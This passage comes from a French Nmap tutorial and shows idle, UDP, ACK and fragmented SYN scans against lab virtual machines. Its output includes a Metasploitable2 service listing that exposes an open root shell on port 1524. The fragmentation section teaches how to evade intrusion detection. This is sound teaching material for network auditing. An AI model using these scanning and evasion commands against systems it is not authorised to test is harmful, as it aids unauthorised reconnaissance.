Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 22:03 CET
Idle scan using zombie 192.168.122.228 (192.168.122.228:80); Class: Incremental
Nmap scan report for win81-0C (192.168.122.198)
Host is up (0.023s latency).
PORT    STATE           SERVICE
135/tcp open            msrpc
136/tcp closed|filtered profile
137/tcp closed|filtered netbios-ns
138/tcp closed|filtered netbios-dgm
139/tcp open            netbios-ssn
MAC Address: 52:54:00:44:C4:11 (QEMU Virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1.55 seconds

Scan UDP

-U

Même si les services les plus connus d'Internet son basés sur le protocole TCP, les services UDP sont aussi largement utilisés. DNS, SNMP ou DHCP (ports 53, 161/162 et 67/68) sont les trois exemples les plus courants. Comme le scan UDP est généralement plus lent et plus difficile que TCP, certains auditeurs de sécurité les ignorent. C'est une erreur, car les services UDP exploitables sont courants et les attaquants eux ne les ignoreront pas. Par chance, Nmap peut aider à répertorier les ports UDP.

Le scan UDP est activé avec l'option-sU. Il peut être combiné avec un scan TCP, comme le scan SYN ( -sS), pour vérifier les deux protocoles lors de la même exécution de Nmap.

Le scan UDP envoie un en-tête UDP (sans données) à chaque port visé. Si un message ICMP « port unreachable (type 3, code 3) » est renvoyé, le port est alors fermé. Les autres messages d'erreur « unreachable ICMP (type 3, codes 1, 2, 9, 10, or 13) » rendront le port filtré. À l'occasion, il arrive qu'un service répond par un paquet UDP, prouvant que le port est dans l'état ouvert. Si aucune réponse n'est renvoyée après plusieurs essais, le port est considéré comme étant ouvert|filtré. Cela signifie que le port peut être soit ouvert, soit qu'un dispositif de filtrage bloque les communications. Le scan de versions ( -sV) peut être utilisé pour différencier les ports ouverts de ceux filtrés.

Une des grandes difficultés avec le scan UDP est de l'exécuter rapidement. Les ports ouverts et filtrés ne renvoient que rarement des réponses, laissant Nmap expirer son délai de retransmission au cas où les paquets se soient perdus. Les ports fermés posent encore un plus grand problème: ils renvoient normalement une erreur ICMP « port unreachable ». Mais à la différence des paquets RST renvoyés par les ports TCP fermés en réponse à un scan SYN ou à un connect(), de nombreux hôtes limitent par défaut la cadence d'émission de ces messages. Linux et Solaris étant particulièrement stricts à ce sujet. Par exemple, le kernel 2.4.20 limite cette cadence des destinations inaccessibles (« destination unreachable ») à un par seconde (cf.net/ipv4/icmp.c).

Nmap détecte cette limitation de fréquence et s'y ralenti conformément afin d'éviter de saturer le réseau avec des paquets inutiles que la machine cible rejettera. Malheureusement, une limitation à la Linux d'un paquet par seconde fera qu'un scan des 65 536 ports prendra plus de 18 heures. Les idées pour accélérer les scans UDP incluent le scan des cibles en parallèle, ne scanner que les ports les plus courants en premier, scanner derrière le pare-feu et utiliser l'option --host-timeoutpour éviter les hôtes les plus lents.

Exemple de scan UDP en 17 minutes 54 secondes :

#nmap -sU 192.168.122.191
Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 22:19 CET
Nmap scan report for 192.168.122.191
Host is up (0.00041s latency).
Not shown: 993 closed ports
PORT     STATE         SERVICE
53/udp   open          domain
68/udp   open|filtered dhcpc
69/udp   open|filtered tftp
111/udp  open          rpcbind
137/udp  open          netbios-ns
138/udp  open|filtered netbios-dgm
2049/udp open          nfs
MAC Address: 52:54:00:E5:B9:E3 (QEMU Virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1073.88 seconds

Scan TCP ACK

-sA

Ce type de scan est différent des autres abordés jusqu'ici, dans le sens où ils ne peuvent pas déterminer si un port est ouvert (ni même ouvert|filtré). Il est utilisé pour établir les règles des pare-feux, déterminant s'ils sont avec ou sans états (statefull/stateless) et quels ports sont filtrés.

Le scan ACK n'active que le drapeau ACK des paquets. Les systèmes non-filtrés réagissent en retournant un paquet RST. Nmap considère alors le port comme non-filtré, signifiant qu'il est accessible avec un paquet ACK, mais sans savoir s'il est réellement ouvert ou fermé. Les ports qui ne répondent pas ou renvoient certains messages d'erreur ICMP (type 3, code 1, 2, 3, 9, 10, ou 13), sont considérés comme filtrés.

Un pare-feu ne répondra rien.

Veuillez apprécier la nuance :

Une machine Windows 10 avec pare-feu :

# nmap -sA -p139 192.168.122.208

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 22:29 CET
Nmap scan report for DESKTOP-0TLULO6 (192.168.122.208)
Host is up (0.0012s latency).
PORT    STATE    SERVICE
139/tcp filtered netbios-ssn
MAC Address: 52:54:00:27:1D:D5 (QEMU Virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.57 seconds
# nmap -p139 192.168.122.208

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 22:32 CET
Nmap scan report for DESKTOP-0TLULO6 (192.168.122.208)
Host is up (0.00054s latency).
PORT    STATE    SERVICE
139/tcp filtered netbios-ssn
MAC Address: 52:54:00:27:1D:D5 (QEMU Virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.59 seconds

Une machine Windows 8.1 Pro :

# nmap -sA -p139 192.168.122.198

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 22:30 CET
Nmap scan report for win81-0C (192.168.122.198)
Host is up (0.0012s latency).
PORT    STATE    SERVICE
139/tcp filtered netbios-ssn
MAC Address: 52:54:00:44:C4:11 (QEMU Virtual NIC)
# nmap -p139 192.168.122.198

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 22:32 CET
Nmap scan report for win81-0C (192.168.122.198)
Host is up (0.00100s latency).
PORT    STATE SERVICE
139/tcp open  netbios-ssn
MAC Address: 52:54:00:44:C4:11 (QEMU Virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.54 seconds
root@Kali2-0C:~# nmap -p139 192.168.122.208

Un pare-feu Linux :

# nmap -sA -p139 192.168.122.225

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 22:30 CET
Nmap scan report for 192.168.122.225
Host is up (0.00094s latency).
PORT    STATE      SERVICE
139/tcp unfiltered netbios-ssn
MAC Address: 52:54:00:1F:08:E7 (QEMU Virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.58 seconds
# nmap -p139 192.168.122.225

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 22:32 CET
Nmap scan report for 192.168.122.225
Host is up (0.00055s latency).
PORT    STATE  SERVICE
139/tcp closed netbios-ssn
MAC Address: 52:54:00:1F:08:E7 (QEMU Virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.55 seconds

Techniques d'évasion Nmap

Option -f (fragmentation de paquets)

L'option -f force le scan demandé (y compris les scans de type ping ICMP) à utiliser des paquets IP fragmentés . L'idée est de partager l'en-tête TCP en plusieurs paquets pour rendre plus difficile la détection du trafic par les dispositifs de filtrage de paquets, les systèmes de détection et d'intrusion et autres systèmes de filtrage.

Exemple de scan SYN/FIN avec fragments :

# nmap -sS -A -f 192.168.122.191

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 22:56 CET
Nmap scan report for 192.168.122.191
Host is up (0.27s latency).
Not shown: 978 closed ports
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey: 
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
|_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, 
| ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
| Not valid before: 2010-03-17T14:07:45
|_Not valid after:  2010-04-16T14:07:45
|_ssl-date: 2016-01-18T21:59:00+00:00; +14s from scanner time.
53/tcp   open  domain      ISC BIND 9.4.2
| dns-nsid: 
|_  bind.version: 9.4.2
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
|_http-methods: No Allow or Public header in OPTIONS response (status code 200)
|_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
|_http-title: Metasploitable2 - Linux
111/tcp  open  rpcbind     2 (RPC #100000)
| rpcinfo: 
|   program version   port/proto  service
|   100000  2            111/tcp  rpcbind
|   100000  2            111/udp  rpcbind
|   100003  2,3,4       2049/tcp  nfs
|   100003  2,3,4       2049/udp  nfs
|   100005  1,2,3      39484/udp  mountd
|   100005  1,2,3      55372/tcp  mountd
|   100021  1,3,4      46081/tcp  nlockmgr
|   100021  1,3,4      59487/udp  nlockmgr
|   100024  1          53464/udp  status
|_  100024  1          60529/tcp  status
139/tcp  open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
512/tcp  open  exec?
513/tcp  open  login
514/tcp  open  shell?
1099/tcp open  java-rmi    Java RMI Registry
1524/tcp open  ingreslock?
2049/tcp open  nfs         2-4 (RPC #100003)
3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
| mysql-info: 
|   Protocol: 53
|   Version: .0.51a-3ubuntu5
|   Thread ID: 10
|   Capabilities flags: 43564
|   Some Capabilities: SupportsCompression, LongColumnFlag, SupportsTransactions, Support41Auth, SwitchToSSLAfterHandshake, Speaks41ProtocolNew, ConnectWithDatabase
|   Status: Autocommit
|_  Salt: Of4oS3B2pc}j}Vuk:|$<
5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open  vnc         VNC (protocol 3.3)
| vnc-info: 
|   Protocol version: 3.3
|   Security types: 
|_    Unknown security type (33554432)
6000/tcp open  X11         (access denied)
6667/tcp open  irc         Unreal ircd
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
|_http-methods: No Allow or Public header in OPTIONS response (status code 200)
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/5.5
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port514-TCP:V=6.49BETA4%I=7%D=1/18%Time=569D5F8F%P=x86_64-pc-linux-gnu%
SF:r(NULL,2F,"\x01Couldn't\x20get\x20address\x20for\x20your\x20host\x20\(K
SF:ali2-0C\)\n");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port1524-TCP:V=6.49BETA4%I=7%D=1/18%Time=569D5F95%P=x86_64-pc-linux-gnu
SF:%r(NULL,1A,"root@Metasploitable-0F:/#\x20")%r(GenericLines,82,"root@Met
SF:asploitable-0F:/#\x20root@Metasploitable-0F:/#\x20root@Metasploitable-0
SF:F:/#\x20root@Metasploitable-0F:/#\x20root@Metasploitable-0F:/#\x20")%r(
SF:GetRequest,3C75,"root@Metasploitable-0F:/#\x20Use\x20of\x20uninitialize
SF:d\x20value\x20in\x20pattern\x20match\x20\(m//\)\x20at\x20/usr/share/per
SF:l5/URI/Heuristic\.pm\x20line\x20109\.\n<HTML>\n<HEAD>\n<TITLE>Directory
SF:\x20/</TITLE>\n<BASE\x20HREF=\"file:/\">\n</HEAD>\n<BODY>\n<H1>Director
SF:y\x20listing\x20of\x20/</H1>\n<UL>\n<LI><A\x20HREF=\"\./\">\./</A>\n<LI
SF:><A\x20HREF=\"\.\./\">\.\./</A>\n<LI><A\x20HREF=\"bin/\">bin/</A>\n<LI>
SF:<A\x20HREF=\"boot/\">boot/</A>\n<LI><A\x20HREF=\"cdrom/\">cdrom/</A>\n<
SF:LI><A\x20HREF=\"dev/\">dev/</A>\n<LI><A\x20HREF=\"etc/\">etc/</A>\n<LI>
SF:<A\x20HREF=\"home/\">home/</A>\n<LI><A\x20HREF=\"initrd/\">initrd/</A>\
SF:n<LI><A\x20HREF=\"initrd\.img\">initrd\.img</A>\n<LI><A\x20HREF=\"lib/\
SF:">lib/</A>\n<LI><A\x20HREF=\"lost%2Bfound/\">lost\+found/</A>\n<LI><A\x
SF:20HREF=\"media/\">media/</A>\n<LI><A\x20HREF=\"mnt/\">mnt/</A>\n<LI><A\
SF:x20HREF=\"nohup\.out\">nohup\.out</A>\n<LI><A\x20HREF=\"opt/\">opt/</A>
SF:\n<LI><A\x20HREF=\"proc/\">proc/</A>\n<LI><A\x20HREF=\"root/\">root/</A
SF:>\n<LI><A\x20HREF=\"sbin/\">sbin/</A>\n<LI><A\x20HREF=\"srv/\">srv/</A>
SF:\n<LI><A\x20HREF=\"sys/\">sys/</A>\n<LI><A\x20HREF=\"tmp/\">")%r(HTTPOp
SF:tions,A3,"root@Metasploitable-0F:/#\x20bash:\x20OPTIONS:\x20command\x20
SF:not\x20found\nroot@Metasploitable-0F:/#\x20root@Metasploitable-0F:/#\x2
SF:0root@Metasploitable-0F:/#\x20root@Metasploitable-0F:/#\x20")%r(RTSPReq
SF:uest,A3,"root@Metasploitable-0F:/#\x20bash:\x20OPTIONS:\x20command\x20n
SF:ot\x20found\nroot@Metasploitable-0F:/#\x20root@Metasploitable-0F:/#\x20
SF:root@Metasploitable-0F:/#\x20root@Metasploitable-0F:/#\x20")%r(RPCCheck
SF:,1A,"root@Metasploitable-0F:/#\x20")%r(DNSVersionBindReq,1A,"root@Metas
SF:ploitable-0F:/#\x20")%r(DNSStatusRequest,1A,"root@Metasploitable-0F:/#\
SF:x20")%r(Help,6C,"root@Metasploitable-0F:/#\x20bash:\x20HELP:\x20command
SF:\x20not\x20found\nroot@Metasploitable-0F:/#\x20root@Metasploitable-0F:/
SF:#\x20");
MAC Address: 52:54:00:E5:B9:E3 (QEMU Virtual NIC)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: Hosts:  metasploitable.localdomain, localhost, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_nbstat: NetBIOS name: METASPLOITABLE-, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery: 
|   OS: Unix (Samba 3.0.20-Debian)
|   NetBIOS computer name: 
|   Workgroup: WORKGROUP
|_  System time: 2016-01-18T16:59:01-05:00

TRACEROUTE
HOP RTT       ADDRESS
1   272.83 ms 192.168.122.191

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 202.38 seconds

La page de documentation de nmap "Évitement de pare-feux/IDS et mystification" discute d'autres techniques.

results matching ""

    No results matching ""